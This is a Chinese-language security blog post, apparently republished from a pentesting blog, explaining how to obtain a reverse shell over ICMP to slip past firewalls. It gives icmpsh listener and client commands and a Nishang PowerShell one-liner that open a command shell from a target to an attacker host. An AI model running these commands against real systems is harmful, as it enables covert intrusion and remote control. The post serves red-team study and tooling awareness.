前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >通过ICMP协议反弹SHELL并执行命令

通过ICMP协议反弹SHELL并执行命令

作者头像
Ms08067安全实验室
发布2019-12-18 15:02:11
9710
发布2019-12-18 15:02:11
举报

内网中的大多数系统都位于防火墙和企业代理之后,以便控制入口以及出口流量。防火墙可以拦截到反连的shell,但ICMP协议基本上是不拦截的。因此,为了获得shell并在目标主机上执行命令,可以使用ICMP协议作为隐藏通道进行连接。

使用icmpsh(https://github.com/inquisb/icmpsh)工具可用来执行此攻击。推特上的大牛@Bernardo Damele已经将其导入到他的工具sqlmap中,可以使用-os-pwn选项来发起攻击。

以下命令将禁止ICMP回显,这对于工具正常使用是至关重要的,启动一个监听器,该监听器将等待目标主机的ICMP数据包:

代码语言:javascript
复制
sysctl -w net.ipv4.icmp_echo_ignore_all=1
./icmpsh_m.py 192.168.100.3 192.168.100.4

icmpsh工具中还包含需要在目标主机上传输和执行的二进制文件。以下命令将向监听主机发送ICMP包:

代码语言:javascript
复制
icmpsh.exe -t 192.168.100.3

ICMP Shell – Executing Binary

一个shell将通过ICMP接收,并且也可以通过这个管道来执行命令。

Daniel Compton(https://twitter.com/commonexploits)开发了一个自动化过程的脚本。此脚本所需的唯一输入是目标主机的IP地址。该脚本包含在icmpsh(https://github.com/inquisb/icmpsh)中。

ICMP Shell - 自动化

工具有多个选项的命令和控制。

PowerShell框架

在Nishang框架中包含一个PowerShell模块,可以与icmpsh python脚本结合使用,以获取ICMP上的shell。在主机上,执行下面命令将会开始监听ICMP数据包。

代码语言:javascript
复制
./icmpsh_m.py 192.168.100.3 192.168.100.4

在目标主机上,PowerShell的Icmp模块仅需要主IP地址:

代码语言:javascript
复制
Import-Module .\Invoke-PowerShellIcmp.ps1
Invoke-PowerShellIcmp 192.168.100.3

Nishang模块 - ICMP Shell

PowerShell - ICMP Shell

参考资料

代码语言:javascript
复制
https://attack.mitre.org/wiki/Command_and_Control
http://bernardodamele.blogspot.co.uk/2011/04/reverse-connection-icmp-shell.html
https://github.com/inquisb/icmpsh
https://github.com/samratashok/nishang
http://leidecker.info/downloads/index.shtml
https://github.com/nocow4bob/PiX-C2
https://github.com/sincoder/icmp_shell
https://github.com/Darkpaw95/ICMP_Rev_shell

文章来源:

代码语言:javascript
复制
https://pentestlab.blog/2017/07/28/command-and-control-icmp/
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-12-16,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Ms08067安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档